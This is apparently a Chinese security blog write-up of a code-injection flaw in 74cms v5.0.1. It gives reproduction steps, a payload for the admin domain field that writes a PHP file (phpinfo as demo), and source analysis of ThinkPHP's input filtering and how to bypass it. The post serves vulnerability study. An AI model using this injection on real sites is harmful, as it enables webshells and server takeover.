CabbageJun

环境搭建

在Windows下使用phpstudy搭建
apache版本:2.4.39
php版本:5.4.45
mysql版本:5.7.26
cms下载:http://www.74cms.com/download/index.html
 

漏洞成因

74cms v5.0.1在url.php中以数组键值对形式储存网站域名信息,可在网站域名信息修改处写入php代码,修改生效后,访问url.php,执行写入的php代码。利用此漏洞可写入webshell,导致远程代码执行。
 

漏洞复现

首先登录后台,后台地址为/index.php?m=admin&c=index&a=login

导航栏选择系统,进入网站配置选项

使用burpsuite抓包,点击保存配置

修改site_domain的值为(使用时先进行url编码)\', file_put_contents(\'403.php\',base64_decode(\'PD9waHAgcGhwaW5mbygpOz8+\')),\'
其中PD9waHAgcGhwaW5mbygpOz8+base64解码为<?php phpinfo();?>

访问/Application/Common/Conf/url.php触发写入的php代码,在网站根目录\Application\Common\Conf下生成403.php

访问/Application/Common/Conf/403.php

 

源码分析

74cms使用ThinkPHP框架,url访问方式如下

参考链接:ThinkPHP—URL的访问以及各种方法的操作
ThinkPHP采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:
第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index  入口文件/模块/控制器/操作
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index  传三个参数

在修改域名时,访问的url为/index.php?m=admin&c=config&a=edit
可定位到文件/Application/Admin/Controller/ConfigController.class.php

参考链接:Thinkphp中的 I 函数
I函数语法格式:I(\'变量类型.变量名/修饰符\',[\'默认值\'],[\'过滤方法或正则\'],[\'额外数据源\'])
I(\'id\',0); 获取id参数 自动判断get或者post
I(\'post.name\',\'\',\'htmlspecialchars\'); 获取$_POST[\'name\']
I(\'get.\'); 获取$_GET

 

ConfigController.class.php关键代码

//ConfigController.class.php关键代码
public function edit(){
        if(IS_POST){
            $site_domain = I(\'request.site_domain\',\'\',\'trim\');    //首先使用I函数进行过滤,I函数定义见后文
            $site_domain = trim($site_domain,\'/\');    //删除字符串两边的/
            $site_dir = I(\'request.site_dir\',C(\'qscms_site_dir\'),\'trim\');
            $site_dir = $site_dir==\'\'?\'/\':$site_dir;
            $site_dir = $site_dir==\'/\'?$site_dir:(\'/\'.trim($site_dir,\'/\').\'/\');
            $_POST[\'site_dir\'] = $site_dir;
            if($site_domain && $site_domain != C(\'qscms_site_domain\')){
                if($site_domain == C(\'qscms_wap_domain\')){
                    $this->returnMsg(0,\'主域名不能与触屏版域名重复!\');
                }
                $str = str_replace(\'http://\',\'\',$site_domain);
                $str = str_replace(\'https://\',\'\',$str);
                if(preg_match(\'/com.cn|net.cn|gov.cn|org.cn$/\',$str) === 1){
                    $domain = array_slice(explode(\'.\', $str), -3, 3);
                }else{
                    $domain = array_slice(explode(\'.\', $str), -2, 2);
                }
                $domain = \'.\'.implode(\'.\',$domain);
                $config[\'SESSION_OPTIONS\'] = array(\'domain\'=>$domain);
                $config[\'COOKIE_DOMAIN\'] = $domain;
                $this->update_config($config,CONF_PATH.\'url.php\');    //更新config文件url.php
            }
            ·····略

 

I函数

//I函数源码
//$site_domain = I(\'request.site_domain\',\'\',\'trim\');

/**
 * 获取输入参数 支持过滤和默认值
 * 使用方法:
 * <code>
 * I(\'id\',0); 获取id参数 自动判断get或者post
 * I(\'post.name\',\'\',\'htmlspecialchars\'); 获取$_POST[\'name\']
 * I(\'get.\'); 获取$_GET
 * </code>
 * @param string $name 变量的名称 支持指定类型
 * @param mixed $default 不存在的时候默认值
 * @param mixed $filter 参数过滤方法
 * @param mixed $datas 要获取的额外数据源
 * @return mixed
 */
function I($name,$default=\'\',$filter=null,$datas=null) {
	static $_PUT	=	null;
	if(strpos($name,\'/\')){ // 指定修饰符
		list($name,$type) 	=	explode(\'/\',$name,2);
	}elseif(C(\'VAR_AUTO_STRING\')){ // 默认强制转换为字符串
        $type   =   \'s\';    //$name=request.site_domain,进入elseif,$type=\'s\'
    }
    if(strpos($name,\'.\')) { // 指定参数来源
        list($method,$name) =   explode(\'.\',$name,2);    //$method=\'request\',$name=site_domain
    }else{ // 默认为自动判断
        $method =   \'param\';
    }
    switch(strtolower($method)) {    //$method=\'request\'
        //······省略
        case \'request\' :   
        	$input =& $_REQUEST;   
        	break;
        //······省略      
    }
    if(\'\'==$name) { // 获取全部变量,$name=site_domain,进入elseif
        //······省略 
    }elseif(isset($input[$name])) { // 取值操作
        $data       =   $input[$name];     //$data=数据包中的site_domain
        $filters = isset($filter) ? $filter.\',\'.C(\'DEFAULT_FILTER\') : C(\'DEFAULT_FILTER\');
        //实际执行后$filters = \'trim,htmlspecialchars,stripslashes,strip_tags\'
        if($filters) {
            if(is_string($filters)){
                if(0 === strpos($filters,\'/\')){
                    if(1 !== preg_match($filters,(string)$data)){
                        // 支持正则验证
                        return   isset($default) ? $default : null;
                    }
                }else{     //进入else
                    $filters    =   explode(\',\',$filters);                    
                }
            }elseif(is_int($filters)){
                $filters    =   array($filters);
            }
            
            if(is_array($filters)){
                foreach($filters as $filter){
                    if(function_exists($filter)) {    //调用filter中的函数对$data进行过滤,array_map_recursive函数见后文
                        $data   =   is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
                    }else{
                        $data   =   filter_var($data,is_int($filter) ? $filter : filter_id($filter));
                        if(false === $data) {
                            return   isset($default) ? $default : null;
                        }
                    }
                }
            }
        }
        if(!empty($type)){
        	switch(strtolower($type)){
                //···省略,$type=\'s\'
                case \'s\':   // 字符串
                default:
                    $data   =   (string)$data;
        	}
        }
    }else{ // 变量默认值
        $data       =    isset($default)?$default:null;
    }
    is_array($data) && array_walk_recursive($data,\'think_filter\');   //调用自定义函数think_filter,定义见后文
    return $data;
}

 

array_map_recursive函数

调用自定义函数对data进行过滤

//array_map_recursive函数
function array_map_recursive($filter, $data) {
    $result = array();
    foreach ($data as $key => $val) {
        $result[$key] = is_array($val)
         ? array_map_recursive($filter, $val)
         : call_user_func($filter, $val);
    }
    return $result;
 }

 

think_filter函数

过滤特殊字符

//think_filter函数
function think_filter(&$value){
	// TODO 其他安全过滤

	// 过滤查询特殊字符
    if(preg_match(\'/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i\',$value)){
        $value .= \' \';
    }
}

 

分析总结

从整体分析来看,对site_domain的输入,只会使用trim,htmlspecialchars,stripslashes,strip_tags,think_filter这几个函数做过滤,对于执行php代码,写入shell,有影响的只有strip_tags,可以通过编码绕过

正常的url.php文件内容如下,从之前的代码可以看出更新域名将更新domain和COOKIE_DOMAIN对应的值,原本的域名为74cms.com,写入到文件中会在最前面加一个.。

<?php 
return array (
  \'URL_MODEL\' => 0,
  \'URL_HTML_SUFFIX\' => \'.html\',
  \'URL_PATHINFO_DEPR\' => \'/\',
  \'URL_ROUTER_ON\' => true,
  \'URL_ROUTE_RULES\' => 
  array (
    \'/^jobfair\/(?!admin)(\w+)$/\' => \'jobfair/index/:1\',
    \'/^mall\/(?!admin)(\w+)$/\' => \'mall/index/:1\',
  ),
  \'QSCMS_VERSION\' => \'5.0.1\',
  \'QSCMS_RELEASE\' => \'2019-03-19 00:00:00\',
  \'SESSION_OPTIONS\' => 
  array (
    \'domain\' => \'.74cms.com\',
    0 => 18,
    1 => \'\',
    \'path\' => \'D:\phpstudy_pro\WWW\upload\data\session\',
  ),
  \'COOKIE_DOMAIN\' => \'.74cms.com\',
  0 => 18,
  1 => \'\',
);

于是,现在可以构造payload闭合前后两个单引号,并用逗号隔开\', 需要执行的内容,\'
下图为,漏洞复现的url.php的文件内容

 

参考文章

https://xz.aliyun.com/t/8021

分类:

技术点:

相关文章: